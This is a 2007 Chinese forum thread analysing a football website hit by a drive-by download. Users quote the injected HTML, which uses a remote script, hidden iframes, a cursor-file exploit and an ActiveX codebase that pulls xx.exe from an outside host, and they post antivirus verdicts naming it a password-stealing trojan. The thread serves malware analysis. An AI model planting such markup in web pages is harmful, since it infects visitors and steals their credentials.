一个足球网站被挂马拉。

显示全部楼层 · 发表于 2007-11-1 08:21:26

hxxp://bbs.hbfootball.com/bbs/index.asp?boardid=7
谁能分析一下，谢谢啦。

显示全部楼层 · 发表于 2007-11-1 08:28:45

<HTML>
<script language=javascript src=http://51731006.com/admin/06014.js></script>
</HTML>
<iframe src=pps.htm width=0 height=0></iframe>
<iframe src=xin.htm width=0 height=0></iframe>
<DIV style="CURSOR: url('ah.c')"></DIV>
<script src='http://s95.cnzz.com/stat.php?id=659955&web_id=659955' language='JavaScript' charset='gb2312'></script>

http://51731006.com/admin/ah.c的結構

悑Z輴��艕塂$a描�� http://51731006.com/admin/xx.exeRar!

http://51731006.com/admin/xin.htm的結構

<html>
<head>
<title>WoSign - Code Signing Test</title>

<meta http-equiv="Content-Type" c>
</head>

<body bgcolor="#FFFFFF" text="#000000">
<br>
<CENTER>
WoSign
</CENTER>
<object classid="clsid:19EFFC12-25FB-479A-A0F2-1569AE1B3365"
codebase="http://51731006.com/admin/xx.exe#version=1,0,0,002" width="0" height="0">

</object>

[ 本帖最后由 a256886572008 于 2007-11-1 08:33 编辑 ]

显示全部楼层 · 发表于 2007-11-1 08:55:25

Starting the file scan:

Begin scan in 'C:\Users\morgan\Documents\xx.rar'
C:\Users\morgan\Documents\
  xx.rar
[0] Archive type: RAR
--> xx.exe
      [DETECTION] Is the Trojan horse TR/PSW.Delf.QO
      [WARNING] Infected files in archives cannot be repaired!
      [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-11-1 09:17:14

C:\Documents and Settings\Don johnson\桌面\xx.rar » RAR » xx.exe - Win32/PSW.Delf.NIY trojan

显示全部楼层 · 发表于 2007-11-1 09:55:59

KIS6报了已检测: 木马程序 Trojan-PSW.Win32.Delf.qo URL: hxxp://51731006.com/admin/xx.exe//UPX

[ 本帖最后由 BING126 于 2007-11-1 10:07 编辑 ]

显示全部楼层 · 发表于 2007-11-1 10:04:16

McAfee 已自动阻止和删除特洛伊木马程序。

关于此特洛伊木马程序
已检测到: PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序), PWS-QQPass.dll (特洛伊木马程序)
位置: C:\Documents and Settings\Ede\桌面\xx\xx.exe

显示全部楼层 · 发表于 2007-11-1 10:08:40

微点砍掉

显示全部楼层 · 发表于 2007-11-1 10:53:03

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 781
Paranoia Database - 48412
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\xx.exe

C:\Documents and Settings\Uhthn\Desktop\xx.exe - Suspected WIN32.TROJAN-DOWNLOADER (HTTP://...)

1 Files scanned
0 Infected files found
1 Suspected files found
0 Files disinfected
0 Files deleted

显示全部楼层 · 发表于 2007-11-1 10:56:01

Result: 1 malware found
Trojan-PSW.Win32.Delf.qo (virus)
C:\Users\Administrator\Desktop\xx.rar\xx.exe

显示全部楼层 · 发表于 2007-11-4 17:08:51

发现下列程序尝试通过傲游浏览器运行.
请确定这是您主动执行的操作.

[数字证书]
Microsoft Windows Publisher
(Microsoft Windows Verification Intermediate PCA)

[目标程序]
C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\sys99.exe

[已鉴定] 一个足球网站被挂马拉。

McAfee 已自动阻止和删除 特洛伊木马程序。

McAfee 已自动阻止和删除特洛伊木马程序。